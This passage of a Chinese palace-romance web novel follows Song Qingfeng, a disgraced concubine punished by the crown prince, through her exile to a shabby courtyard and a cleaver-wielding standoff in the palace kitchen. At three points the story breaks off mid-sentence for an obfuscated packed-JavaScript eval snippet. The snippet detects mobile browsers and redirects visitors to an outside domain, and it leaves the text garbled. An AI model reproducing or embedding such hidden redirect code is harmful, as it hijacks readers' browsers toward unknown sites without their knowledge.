宋怀德以为他不信,急道:“她她她的老娘乃是当年春风楼里一等一的姑娘,那手段可了得,我这些三脚猫可都跟着她学来的,小女还继承了其九分之姿呢。这些年她流落在外头,这些手段谁知学了多少去。” 说着跪前几步,谄笑道:“她做出此等事,殿下您也不必留情,定要拿鞭子好生抽她个皮开肉绽,打上两回,也就老实了。” 李岏双手卷在黑色披风里头,内里却已握成了拳,面上覆了寒霜。 尽管这草包说话漏洞百出,全不能信,可这对父女,却到底是一丘之貉。 他原本并不在乎她是谁,不管是宋姑娘李姑娘,又有什么区别。 只是他想起前夜宫宴上的事,虽不记得她的长相,但是那双黑眸却映着烛火。 或许私心里,他隐隐觉得,能有这样一双眼睛的女子,又能不堪到哪里去。 人总有许多身不由己。 可是如今想来,有其父必有其女,这种人生出的女儿,还出身低贱,能是什么样的好人? 更何况,他的好父亲,怎会无端端给自己赐个良妾? 他分明是有意的。 故意将这样不堪的人送到自己身边来。 故意叫他以后和这样的人沾亲带故。 还故意在他欲要立太子妃的前夕,叫他难堪,给他和未来的太子妃一个下马威。 李岏气极反笑,欲要发作,可转眼瞧见这人痴蠢模样,与这种人沾上半点关系,都平白失了自己的身份。 满心的怒火不知为何突然泄了,只剩最后的厌倦。 “一并处置了。” 宋怀德还未反应过来什么叫一并处置了,全福面色一红,已一把跪上前来。 压低了声苦苦哀求道:“太子殿下,您千万三思。这宋氏蝼蚁一般,万不值得您动半点肝火。只是,奴婢斗胆进言,那宋娘子,以后您只管将她远远地打发了也就是了,眼不见为净。” 全福满头是汗,说着又对着高守拼命使眼色。 高守横眉站着,一动不动。 他心中将高守骂了个遍,也不敢去看殿下的脸色,只是硬着头皮小心翼翼地道:“太子殿下,哪怕过些日子再处置也不迟。” 这两日宫中关系已经走铁丝一般,陛下那里的怒火,一触即发。 近日灾款贪污案,十皇子的事,接二连三,他便是拼着死,也不能再叫殿下做出惹翻陛下的事来。 。 刚经历了一番云雨,又泡了个热水澡眯了半晌,出来之后,宋轻风却瞌睡全跑了。 她不睡,几个嬷嬷也不走,围着她,重又一番梳妆打扮。 用高嬷嬷的话说,这样才是好兆头,预示着以后承宠不衰。 她们将发钗重又给她归拢了归拢,又挑来些好的,重给她戴在头上。 宋轻风看着菱花镜里头眉眼含粉的女子,脑海中却似乎瞧见那人清冷的目光看过来。 不一时,却又听门外传来脚步声。 高嬷嬷喜笑颜开,与宋轻风笑道:“这必是赏赐下来了,连夜送来,可见太子殿下看重姑娘呢。” 说着扭着腰肢就去开门。 站在门口的果然还是太子的近身内侍,顺意。 顺意飞快地看了一眼坐在梳妆台前的女子,见她双颊含春,嘴角含笑,忙移开了目光道:“传太子殿下令旨。” 几个嬷嬷忙拉着宋轻风一起跪下听旨。 顺意清了清嗓音道:“传太子殿下令旨,宋氏女仪礼不端,言行失矩,罚去宫墙处静思一夜,望能沾染天地纯洁,去污洗心,反省自身。” 屋内一时死一般的寂静。 几个嬷嬷面上不知该做出何表情,五官都扭曲了。 好一会高嬷嬷结结巴巴地问道:“顺意公公,您莫不是听错了吧?” 顺意变了脸色道:“胡说什么,这是太子殿下的令旨,奴婢何来的胆子,半个字可都不敢出错。” 屋内重又恢复了寂静。 这是明旨直发,不出片刻,所有人都会知晓。 第一次侍寝之后,没得殿下赏赐也就罢了,居然被罚去站墙根,让去污洗心? 这何止是落了脸面,简直就是天大的笑柄。 莫说满宫之中,便是自开国以来,就不曾听过这样的笑话。 几人哭也不是笑也不是,憋得着实难受,好一会才想起这正主就在面前。 此刻宋轻风却安安静静地跪在地上,许是过于震惊,嘴角的笑意居然还没来得及褪去。 顺意低头看了一眼地上的小小身影,倒是生了丝怜悯。 却到底不敢多说什么,只是道:“宋娘子,请吧。” 宋轻风叹了口气,撸了撸衣服,从地上起身,与顺意道:“我去穿些衣裳。” 自己而今这衣裳,中看却不中穿,出去只怕要冻死。 顺意低了眉眼道:“烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885583|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请姑娘动作快些,奴婢还要回去交差。” 宋轻风动作倒确实是快,不过眨眼就换回了自己的衣裳,还没走,高嬷嬷却忽地一伸手将步摇从她头上拔了下来,脸上的笑意全没了,冷眉冷眼地道:“这步摇是内造局的宝贝,经不得摔,且等姑娘下回侍寝之时再戴吧。” 呵,侍寝第一夜竟被罚去站墙根,哪里还有什么下次。 几个嬷嬷也不由分说,拥上前来,将她发上的钗戴尽数拔了去。 一时青丝如瀑,散落下来,带着几丝凌乱,尽是狼狈。 宋轻风扯了扯落在身前的头发,总不好这般披头散发的出去。 她从怀中抽了根绿色发带咬在口中,双手拢起了头发,三两下就将散落的头发绑好了。又五指握成爪,对着镜子梳了梳刘海。 虽然没有方才的温婉动人,倒是露出干净活泼的小姑娘模样。 没了那些累赘,整个人都轻盈了不少,宋轻风龇牙朝着高嬷嬷道:“难怪太子殿下没夸我,倒是夸这发钗不错,原来是内造局的宝贝。” 高嬷嬷面色一变,握着发钗的手抖了抖,心知她说的未必是真的,但却不能冒险。 太子殿下若是真夸过这枚发钗,这发钗她便再送不得别人,更不能变卖了。 这是她咬牙贴了好多提己钱买的,这算是废了? 宋轻风不顾高嬷嬷难看的脸色,朝着顺意笑了笑道:“烦请公公带路吧。” 方跨过门槛,又忙道:“哦,再等等。” 说着不等众人反应过来,她一步跃进屋内案旁,大袖一挥,只听哗啦一声,桌案上摆着的几盘点心尽数被她扫入宽大的袖中。 “。。。” 宋轻风出来见顺意欲言又止,倒先疑惑问道:“方才的旨意上,没说不让吃东西吧?” 那。。确实没有。 从昨夜到现在,几乎没进水米,方才又劳作了一番,虽然劳作的人不是她,但也是耗了不少气血的,宋轻风早就饿的不行。 还是方才洗澡时先取了块垫了肚子。 她又拿过水壶来咕嘟喝了一口便放下了,喝多了只怕夜里不太方便。 只能忍忍。 再想了想,似乎也没其他的了,便转身跟着顺意往外走。 顺意眼观鼻鼻观心,小步在前带路。 。 “嘎嘎!” 第五只乌鸦从头顶飞过。 晨曦的光终于从东边的云层里慢慢散了出来,天快要破晓了。 弥漫在周身的寒气却愈发有些重。 宋轻风困得不行,站在墙边打盹,下意识双臂环抱得更紧了些。 哪知迷迷糊糊中突然感觉肩膀一热,一股奇怪的味道蔓延过来。 她疑惑地眯眼看去,迷蒙的视线方瞧见,不由得血气上涌。 破乌鸦居然欺负她!大清早地给了她一份热乎乎的大礼! 宋轻风眼皮打架,半闭着眼睛,恼怒地右脚尖向上一踢,一粒小石子飞到了她的手中。 不过转手,就对着天空一群乱叫的乌鸦就扔了过去。 只听“嘎”的一声,惊慌嘶哑的叫声传来。 方才那只送了礼的黑翅乌鸦中了招,竟啪嗒一声落在了脚边。 8. 第 8 章 宋轻风站着重又打盹。 哪知这东宫的乌鸦竟都比别处的高傲,被打落在地,也不觉得理亏,对着宋轻风就是一通嘎嘎乱叫。 见宋轻风不理它,竟试图冲上前来,啄她一顿,然而乌鸦翅膀受了伤,只能徒劳地在地上白扑腾。 宋轻风睡意彻底被它吵跑,不情不愿地睁开了眼睛。 天还蒙蒙亮,万物归寂。 整个宫城笼罩在晨曦之中,碧瓦红墙,闪着琉璃琥珀之光。 若不是这只躁人的乌鸦吱哇乱叫,只怕就要沉浸在此巍峨的天家气象之中。 她的心绪好一会才从迷蒙中拉回来。 这才发现脚边支呀乱叫的乌鸦顶着毛茸茸的脑袋,居然还是只未成年的小乌鸦。 只是那看向自己的黑眼睛里满是倨傲。 宋轻风抬脚踢了一脚小乌鸦的脑袋道:“你送我大礼,我折你一根翅膀,也不算过分。” 那小乌鸦被踢,又是拿出玩命的架势扑腾。 宋轻风被它吵得头疼,只好撇了撇嘴道:“好吧,好像是有点不公平。” 说着四处看了看,不见人影,便蹲下身来,点着嘎嘎乱叫的小乌鸦脑袋道:“那我负责给你养好伤,这总成了吧。” 哪知小乌鸦却伸出脖子,嘎地咬了一口。 宋轻风不妨,垂落在胸前的绿色发带竟被它叼在了嘴里,头发散了开来,它得意地看着她,黑豆子的眼睛里满是嘲讽。 宋轻风无语,一把将发带抢过来,顺脚将小乌鸦一脚踢到了一旁的草丛里。 拿过发带正要绑头发。 哪知寂静中突然传来辘辘的车马声,沉重的脚步声震得地面有些微颤。 她心中一惊,手中的发带落了地。 方要去追,一阵风起,竟将发带吹飞而起。 宋轻风跳起来居然没抓住,眼睁睁瞧着那发带向着墙那边飞去。 她只能披头散发,龇牙咧嘴地将小乌鸦和他们家祖宗和鸟蛋都问候了一通。 马车声音由远及近,很快就与她隔着一堵墙,接着又慢慢远去。 墙那面便是整个东宫的中心,方华殿。 所有的宫人在靠近那处时,都自觉地将腰背放得更低,恨不能踮起脚尖走路。 她昨夜进去,又出来,见到了那个人,还又做了最亲密的事,却未说上一句话,甚至连人都未瞧清。 整个方华殿,寂静地可怕。 能一大早就发出这样声响的,不用想也知道那是他的车架。 太子殿下这么早便起床出门了。 马车声和跟随的脚步声很快消失不见,四周重又恢复了安静。 草丛里支哇乱叫的小乌鸦倒是一刻不闲着,宋轻风知道它一定骂得很难听。 她摸了摸衣角,下摆挂着的荷包还在,里头鼓鼓囊囊地。 打开摸索了一番,从里头掏出一粒黄豆大小的饴糖来塞进了嘴里。 风吹了吹,散落的发丝就含到了嘴角。。。 宋轻风有些无语,瞧见旁边的花树开得正灿烂,随手折了一跟枝桠来挽了头发。 却听耳边传来轻笑,她咬着花枝看去,却见是远处站着几个宫人,正对着她指指点点,见她望过来,他们忙捂着嘴走了。 宋轻风突然发现自己真是傻得冒泡。 这些人这么晚才起来,大晚上的这院子里又没人,自己怎么还直挺挺地站了一夜! 真是在宁安侯府呆久了,被那帮人传染得够呛。 她自然不知,这东宫四处瞧着不过寻常,实则守卫森严,不知道的角落里有多少眼睛盯着风吹草动。 好在老天眷顾,今日瞧起来似乎又是个好天气。 而她, ----真的进宫了。 李岏坐在辇车里,却听得晨风沙沙,余光一闪,一只绿色丝带飘飘荡荡。 他抬头看了一眼,哪知那丝带不偏不倚,顺着风落了过来。 高守方要上前来,被他抬手制止。 那发带慢悠悠落在了他的脚边,他低下头,看着这只通体暗绿色的丝带,心中无端涌起熟悉之感。 好一会弯腰捡了起来。 。 宋轻风将外头的脏衣裳脱下,还待寻块泥地拖一拖,却听到身后传来轻微的脚步声。 听声音,便知是昨日的全福公公过来了。 他生得富态,眉眼清明,面皮白净,就如年画上的福老头似的,难怪叫全福。 宋轻风转过头,果然瞧见全福背着手,正缓缓往这里来。 其实全福在远处打量已有一会了。 方才问了守夜的侍卫,她确实老老实实在这站了一宿,而且除了站着,竟未有其他表示? 她费尽心思,原以为是飞了枝头。 不想方侍了寝,便被斥责罚站了一夜,这等丢尽脸面之事,换做寻常的闺阁千金,只怕早已触柱跳井,寻死觅活,她居然站了一夜,面上一丝落寞也没有。 宁安侯愚钝无知,这女儿却不知是同样痴蠢还是心机深沉。 全福平日里即便是面无表情,也似含了三分笑意,走近前,方要说话,却一眼瞧见她娩发的花枝,不由面容扭曲了半晌。 好一会才道:“这花树是太子殿下亲手种的,娘子以后切留心了。” 哪知罚站都毫无反应的宋轻风,听闻却慌张地埋下头,满面歉意地道:“抱歉,我不是故意的。” 见她耷拉着脑袋,双手在身前绞着,那件蝴蝶缠花锦衣外套不知为何脱下挂在手里,内里倒是一件浅黄色夹衫。 整个人看起来明媚干净,竟与昨日所见老气横秋的打扮大不相同。 全福想到她昨夜在鬼门关走了一遭,原有的名分没了,能留条性命也是不易。 遂道:“算了,娘子下次注意。” “好。”宋轻风立刻抬起头,露出黑亮亮的眼睛,嘴角一颗小梨涡若隐若现。 全福被她的笑晃了晃眼,咳嗽了一声上前道:“娘子请随我来。” 又来? 宋轻风将衣裳叠好,也不多问,跺了跺站得酸疼的腿脚,一瘸一拐地紧随其后,不过一会便被带到一处院落里。 全福停下脚步垂下眼睛道:“娘子,您以后便住在此处。” 住处? 门轻轻一推,支呀一声就开了,一股沉闷发霉的味道散了开来。 一丝阳光漏进来,沙沙声四惊而起,很快就消失不见。 宋轻风对着地上落荒而逃的小虫子视若无睹,跨步走了进去。 这屋子许久无人居住,从四墙上的痕迹看之前该是个库房之类。 不过蛛网灰尘都看不见,应是一早被人匆匆打扫过。 屋子统共有两间,不用走几步便看完了,里面的陈设尽收眼底,与昨夜她被带去的地方没法比,但是桌椅板凳床铺柜子倒是齐全,虽然旧了些,有些漆面都脱落了,看着做工却都极讲究。 唯一的缺点就是屋子里光线有些昏暗。 宋轻风扫了扫,一眼瞧见卧室里头有扇半人高的窗子。 她走上前打开窗。 窗户的半片窗棂嘎达一声,是向内扣的,外头一堵红墙出现在面前。 。。。 宋轻风默默地关上窗户,扭头问道:“这以后就是我的住处?” 全福压低了嗓子道:“正是。” 说完却见她一步跨到床边来,床旁的桌案上正摆着水壶,提起来咕嘟咕嘟喝了个痛快。 不光喝水毫无女子的仪态,喝完嘴角的水渍随手一擦,一时又左左摸摸右摸摸,面上透着笑,连裙角都似乎在飞扬。 她似乎很高兴?甚至是欢喜雀跃? 这该不是被吓傻了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885584|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 全福躬身立在门边,很是不解,他在宫内几十年,虽然见多了不得宠的后妃的悲惨境遇,可像她这般一进宫就是天崩开局的,倒也是头一个。 而且如她这般还笑得出来,看不出半点勉强的,也是头一个。 他冷笑一声,这女子倒是心思藏得深,与她那草包父亲相比,竟是天壤之别。 宋轻风里里外外每个角落都瞧了个遍,才回来兴奋地问道:“这小院子真不错,叫什么名字?” 全福心道,这院子不过是隔出来的库房,又荒废已久,哪有什么名字。 口中却道:“而今既是娘子的住处,还需娘子给它赐个名。” 宋轻风歪着脑袋,眉眼弯弯地笑道:“不若就叫破云,破云院。” 破云,当真是好大的口气! 全福心中嗤笑,以为自己还有机会破云而出,飞黄腾达了? 此刻门扉半开,屋内昏暗,屋外的天色若隐若现地照了进来。 隐隐约约听见远处宫人急匆匆的脚步声与压低的说话声,似乎隐约有马啼? 全福道:“此处离马场倒是有些近。” 马啼声渐入耳中。 宋轻风听闻,却一屁股坐在了床上盯着门口发起了呆。 方才的欢喜慢慢沉寂下来。 等她回过神来,听清全福的讲话时,屋内已不知何时站了两个穿着粉绿色宫装的年轻女子。 两人生得一般高,一个面貌圆润些,一个瓜子脸,都是唇红齿白,面颊粉嫩,俏生生站着很是标致。 她二人一齐对着她蹲膝行礼,声如黄莺:“见过福公公,见过宋娘子。” 宋轻风捶着膝盖的手都忍不住停下来,张大嘴巴一眨不眨地看着二人。 两个宫女极不情不愿地走上前来,上下扫了她一眼,眼中的鄙夷毫不掩饰,福了福道:“奴婢乌梅,奴婢又绿,见过娘子。” 圆脸的叫乌梅,瓜子脸的叫又绿。 宋轻风坐在床上,仰头看着她们,好奇问道:“两位姑娘这般美…难道是宫里的娘娘们?” 乌梅又绿二人面色一黑,她这是在炫耀什么? 她以为自己已经是做娘娘的人了?昨夜虽然侍寝了,还不是被罚站在外头?如今又被安置在这破落地方。 跟着这样的主子,当真是一辈子都没有出头的日子,倒霉透顶! 宋轻风见她二人不答,以为是默认了。 遂上前来拉住二人的手认真地道:“两位姐姐这般貌美,一定极得太子殿下的喜爱,以后还需两位。。。” 说着却突然停了下来,双目圆瞪,面色一变。 全福心中一惊,正要来问。 却见宋轻风拉着乌梅的手,声音都变了色:“姐姐的胭脂颜色也太好看了,是在哪里买的?我怎么从未见过。” 比昨夜老嬷嬷给她用的可好太多了! 乌梅被她一夸,忍不住得意道:“这可是红颜坊今秋刚上的款式,叫枫霞胭红,刚出货半日就卖光了,我可是昨日好不容易托人抢到的。” 红颜坊乃是京城里头最受夫人小姐们喜爱的脂粉铺子,即便是宫里的人都喜欢地紧。 若说这大半年来了上京,她宋轻风最喜欢什么,那非红颜坊莫属了! 宋轻风咬牙惋惜,昨日她正忙着,竟忘了此事! 只好依依不舍地从乌梅的脸上移开目光,而后到底忍不住,又问又绿:“你脸上的粉为何这般晶莹剔透,瞧着这般自然?” “你这肤色,与这粉的颜色也太搭了!” 三人叽叽喳喳,居然就着香粉胭脂说个没完,一时屋内吵的人头疼。 全福头大地抚了抚额头,一会实在忍不住了道:“娘子,我晚些再来。” 可是宋娘子看也未看他一眼,更是倦意全无。 全福撇了撇嘴,默默地走了。 9. 第 9 章 这日宋轻风饿醒的时候,太阳都有些西斜了。 屋子里静悄悄的没有人。 她翻身下床,走到外头,远处一座座宫殿巍峨地立着。 每一座宫殿都似乎相同,又似乎有所不同。 屋顶的檐兽,檐下的铁马,具都诉说着皇家的威仪与气派。 相形之下,这个院子就小地有些可怜,更像是一只可怜的小鹿被包围在猛兽群之中。 乌梅与又绿从外头进来,手中都拧着一个食盒。 三人悄没声息地相处了几日,又都喜爱同一款脂粉,倒算是熟识了。 宋轻风自己搬了椅子坐在檐下,也不转头看她们,只是指着前方远处一个造型奇特,高耸入云的高楼道:“那是哪里?” 乌梅望了望道:“那是攀星楼,满天下里最高的地方,听闻站在楼顶,天下竟收眼底,而且伸手就能够到星星呢。” 宋轻风很合时宜地“哇”道:“我要是能上攀星楼瞧瞧就好了,不知能瞧见西北不能。” 见她满目向往,又绿双眼一动,细声道:“只有得宠的后妃子们才有机会上攀星楼。” 宋轻风不为所动,却又转了目标道:“那呢?” 乌梅道:“那是藏书阁,里头藏着全天下最多的书和珍宝。” 宋轻风还没开口,又绿却已道:“只有最得宠的后妃,才有机会去一饱眼福。” 宋轻风撇了撇嘴,掉转了手指头,指着不远处宫殿道:“那又是哪里?” 不用去瞧,乌梅便知道她问得是哪个,回道:“那自然是方华殿。” “原来那就是方华殿。” 那夜黑灯瞎火,她就如盲人一般被人牵引着走来走去,早就绕晕了。 原以为自己被打到了八百里外的僻静野院,哪知道居然离方华殿这么近。 这样说来,这些日子,他离自己,不过就在这咫尺之遥? 乌梅翻了白眼道:“近又如何?那可是太子殿下的起居处,就算只隔着一堵墙,那也是跨不过去的天堑,就说你,这辈子去过一回就偷着乐吧,这辈子只怕是再没机会了。” 又绿一把扯住乌梅,忙瞧了瞧宋轻风。 宋轻风点头道:“我懂了,看来也只有得宠的后妃才能去。” “那是自然!” 又绿见她并没有生气的样子,宽慰她道:“听闻下霜下雪的时候,在此欣赏,那也是美呢。” 乌梅嘟囔着,不屑地道:“等你一个人在此一层不变地看上个十年八年的,再美的景也看腻了。娘子不妨争气些,你能有第一回侍寝的机会,说不得还有下回?兴许我们还有出头之日?” 宋轻风听闻,登登又跑到屋里,自己搬了个案几出来,上头搁着一壶烫好的酒,自斟自饮了一杯眯眼笑道:“我可永远都不会看腻的,有那一次就够了,再说,能每日这般看着他住的地方,知道他就在那里,我便死而无憾了。” “什么?” 见她面上不似玩笑,两个宫女面面相觑。 自己都被发配到这破落地方,分明是打入了冷宫,居然还这般乐悠悠的呢。 敢情真是位痴情种? 只可惜她痴情的是那位太子殿下,无异于异想天开,永远都不会有结果的。 两人想到太子殿下,都忍不住抚了抚手臂上立起的汗毛。 太子殿下生得丰神俊美,芝兰玉树,正是少年风流,单论长相,几乎是无人能及。 可他冷情冷性,手段严厉,眼里揉不得沙子,满宫的人谁瞧见不是两股战战。 若说这世上,能勉强配上他的,只有那两位真正的高门贵女,云上一般的女子。 这宁安侯府私生女的身份与之比起来,实在是上不得台面。 宋轻风自己却笑了,而后伸了个懒腰,心情甚好地哼起了语调奇怪的曲子。 哼了一会,手中的酒喝光了,又伸手从她们的食盒子里一扒拉,抓了只馒头,咬进了嘴里。 乌梅才想起来,不忿地道:“这些个膳房的人惯会迎高踩低,姑娘要喝酒,给的也是最低等的酒,今日我去取饭,竟只打发我们几只馒头并一壶菜汤,这是打发要饭的呢!分明是看娘子这几日悄没声息确实没救了,实在太过分了。” 宋轻风撑着嘴啃馒头不说话,不过片刻就消灭了干净。 不一时,却听身后传来隐约嘤嘤声,她转过头,却见瓜子脸的又绿细长的身子颤抖着,正偷抹着眼泪。 又绿身材纤细,弱不经风,哭起来当真是叫人心中戚戚,宋轻风一时不解地道:“谁欺负你了?” 又绿小声垂泣道:“秋天已来了,此处寒凉若此,最是偏僻,能有些馒头菜汤不饿死就不错了,我们哪里还能有什么出头之日呢。” 宋轻风看了看四面高墙,远处乌鸦落脚在金殿顶端。 “嘎嘎。” 趁着天黑,乌梅又绿二人不在,她三两步跑到西跨院子里头,寻到了自己罚站的那棵花树旁。 拨开墙边的草丛,果然兴奋的“嘎嘎”声传来,一只毛色发糙瘦骨嶙峋的小乌鸦露出头来。 宋轻风用脚踢了踢它毛茸茸的脑袋道:“狗嘎嘎,饿了两日可还咬我了?” 嘎嘎乌鸦饿得双眼发黑,却梗着脖子。 宋轻风威胁道:“给你最后一次机会,再咬我,就打死。” 嘎嘎冒着黑光的豆子眼睛里面却终于带了丝慌乱,缩了缩脖子。 宋轻风索性蹲在一旁,将怀里拇指大的馒头扔给它,撑着下颌。 “这可是我从牙缝里省出来的!不过是看在你是在这宫里长大的,也算是半个他的鸟的份上!” 小黑乌鸦狼吞虎咽,却噎住了,梗着脖子艰难地才吞下去。 “你的半个主人如今在做什么呢?” 宋轻风说完一句,却又不说了,撑着下巴发了好一会呆。 等到天黑得彻底,地上寒气起了窜进袖子里,才拍屁股站起。 方行了几步,却听远处传来脚步声。 这声音沉闷却整齐,宋轻风抬头一瞧,果然远处转来盛大的队伍。 隐约瞧见众人簇拥着一个肩辇,中间高高坐着个身穿华服的男子。 天色黑暗,只有引路的灯火在前。 什么都瞧不清楚。 她心中咯噔一声,跟着路旁的宫人们一起退让到了路边。 不一会一行人就行到身旁,她偷偷瞧见那肩辇之上的人低着头,眉眼看不清,只瞧见一双手交叠在身前。 她仿若听到自己的心跳之声,追随着众人的脚步,队伍渐渐远处,未有半点停歇。 未想到这是她侍寝之后这么些天,第一次遇见太子殿下。 却也如那夜一般,瞧不清面容,只感受到眉眼间覆着的冰雪,如万年不化的雪山。 虽然离她只有几步之遥,却亦真亦幻,高不可攀。 。 一大早宋轻风便坐在檐下,罕见地一言不发不笑,只是一口口喝酒。 难为这宫里的人,给她寻的是最劣的酒,却也割喉。 旁边乌梅的脸愈发的黑,一个劲地道,看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885585|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说吧,那些人瞧见姑娘这样不得宠,愈加变本加厉踩着我! 饭饭没有,衣裳衣裳没有,什么都没有! 果然食盒里头馒头愈发的小,连宋轻风每日里都有些饥肠辘辘。 而又绿,本就瘦弱的身形更是见风就倒,眼睛红肿。 宋轻风喝光了酒,就开始啃馒头,余光瞟见站在身旁的两人,乌梅黑眉瞪眼的,又绿弱柳扶风。 不由啃一口馒头叹一口气,自己这两个跟班,叫什么乌梅又绿。 分明一个是乌鸦嘴,一个是又哭了。 她咬尽馒头,意犹未尽地舔了舔手指上的碎屑,拍拍手道:“膳堂在哪?去寻点东西吃,我还没吃饱呢。” 乌梅泄气地道:“可算了吧!已经过了放饭时间,哪里还有的吃,就算有的吃,也未必给我们。” 宋轻风道:“难道宫里还敢饿死我们?” 乌梅道:“不敢又如何,不过拿些边角料打发我们,既饿不死也吃不饱,何况现在又不是放饭时间,他们自己吃得,别人可吃不得!” “为何?” “那膳房里的人又狠又凶,得罪了他们有千百种方法在膳食上给你小鞋穿。这东宫里头,谁不指望吃口好的,谁不巴结他们。” 难怪她每日里拿饭都是气鼓鼓地回来,却不敢寻膳堂的麻烦。 膳堂倒在不远处。 宋轻风不得宠,又没有正经名分,自然也没资格有自己的小厨房,全与东宫里头宫人们在一处,只是在里头专指了一处角落。 说是单灶,其实都是表面功夫。 宋轻风顺着香味一路不费吹灰之力地寻到了膳堂。 不是用膳时间,屋内却穿出令人心悸的磨刀声和滚油噼啪的响声。 打窗户一瞧,一股浓烈的油香飘了出来,膳房里头几个膀大腰圆的厨子正在磨刀,桌案上的猪肉还带着血,还有个大个子在烧滚油。 乌梅又绿吓得面色发白,二人不敢进,只扒在门口偷偷张望。 乌梅想要扯住宋轻风的袖子让她回去算了,可是抬手却扯了空。 放眼一看,不知怎么的,宋轻风居然已飘在了后厨,在那磨刀的人旁边。 手里已拧了只炸鸡腿在啃。 乌梅倒抽一口气险些吓晕过去。 厨房里众人不认识她,见她眼生,又是个半大的小姑娘,一时具都炯炯地看过来。 宋轻风啃着鸡腿,对着旁边正磨刀的太监客气道:“你在磨刀啊?” 那太监见小姑娘满嘴油光,模样可爱,下意识地“安”了一声,手中的刀刃闪了闪。 正在炸鸡腿的胖大厨立刻上前来。 “当”地一声巨响,他将手中的勺子敲在一旁,凶神恶煞地道:“哪里来的丫头片子!这也是你擅闯的地方?” 他面相凶狠,五条横肉,又人高马大,直衬得宋轻风在他面前,如小鸡一般瘦弱。 宋轻风眼急口快,一口将鸡腿啃光了道:“这是膳堂,自然是来此吃东西的,你这鸡腿炸得可太好吃了。” 那胖子五条横肉甩了甩,额上滴下一行油来,看着她手里只剩的鸡骨头,勺子在桌案上敲得蹦蹦响:“谁让你擅拿东西吃的!一个时辰前刚放完饭,便是饿死鬼也该填饱了!你当这是你自己家呢!饿了就有的吃?这鸡腿从你下面几顿饭里扣!” 宋轻风被剧烈的拍勺声震地耳朵生痛,忍不住抱住了头缩在一边。 屋外的乌梅又绿二人看着宋轻风可怜巴巴的模样,那勺子险些要轮到她的身上了,忍不住闭了闭眼。 10. 第 10 章 勺子声停了,宋轻风才露出脑袋,不甘地道:“我瞧这里有肉有饭,为什么我却只有馒头和青菜!” 旁边正在摘菜熬粥的宫人立刻上前来,一把端走了她面前的鸡腿和其他的吃食。 见她穿着普通的杏色夹袄,发上只一根绿色发带系着,打扮寒酸,身形纤细,一瞧就不是什么贵人。 摘菜的妇人翻着白眼道:“哎哟,我当是哪家大小姐跑来了,都是为奴为婢的,还比人高贵不成?我们每日里忙里忙外忙给你们做一口吃的,就该烧高香了,你不知道外头啃树皮吃草根的多的是,有白面馒头水嫩嫩的青菜还挑三拣四,真是奴婢的命小姐的心。” 她一番揶揄,惹得几人大笑起来。 宋轻风道:“我还是长身体的时候,每日里要吃些好的,肉,蔬菜和米面,都要有,还有我的两个跟班,也是。” 几人愈发笑得前仰后合。 宋轻风对着胖大厨道:“你是这里的头?” 胖大厨举起勺子推搡着她道:“去去去,哪凉快哪呆着去,大爷我心情好,不与你一般见识。” 他油津津的手就要碰到宋轻风的衣裳。 哪知突然当地一声,一阵阴风刮过。 他头皮发麻,脊背上的汗毛都立了起来。 低下头一看险些晕过去。 却见宋轻风抓了桌案上刚磨好的菜刀,一把将刀扔在了他的手旁,刀插入砧板之中还在颤抖,若是偏上半寸,他的手就废了。 宋轻风逼近道:“听到了没?奶奶我!要!吃!肉!每日都要!” 旁边几人却反应过来,各个跑到桌案上操起刀来,眼见就将宋轻风围在中间。 哪知她却一把拔了刀,架在了胖大厨的脖颈上。 那菜刀大如蒲扇,新磨得锃光瓦亮,着实吓人。 摘菜的妇人抖着嗓子招呼其他人:“别怕,大伙一起上,她不敢动手!” 话音刚落,胖大厨感到脖子一凉,一丝血线淌了下来,他三魂吓没了三魂,两尺的身高吓得吱哇乱叫,口中拼命道:“姑娘饶命啊!饶了小人吧!你们这些混账东西,还不把刀放下!快放下!” 躲在门外的乌梅又绿目瞪口呆,没想到不过一闭眼的功夫,场中竟然发生如今惊天骇地之事,一时吓得恨不得晕过去。 胖大厨涕泪交加,直说:“姑奶奶,您是哪一号人物,告诉小人,小人必定每日里好吃好喝得孝敬您,当您是菩萨一般地孝敬。只是您,您可千万拿稳了不要手抖啊,这可要了老命了啊,哎呀!!” 宋轻风道:“你们不认识我?” 胖大厨惊惧之下,脑袋却一机灵,想起来这东宫里头每日青菜馒头伺候的,只有那个地方。 他抖着嗓子,颤颤巍巍地哭道:“难道姑娘姓姓。。姓宋?” 宋轻风点头道:“不巧,正是在下。” 这些日子,甭说东宫里头,便是全京师里头,众人每日里提到那个姓宋的,还能有谁? 当然是那位靠着见不得人的手段入了东宫的宁安侯府私生女。 听闻太子殿下极是厌恶,新入了府便被打入了冷宫。 所有的人都在背地里议论她,可不想今日才见着真容。 原来是这位翻不了身的东宫侍妾。 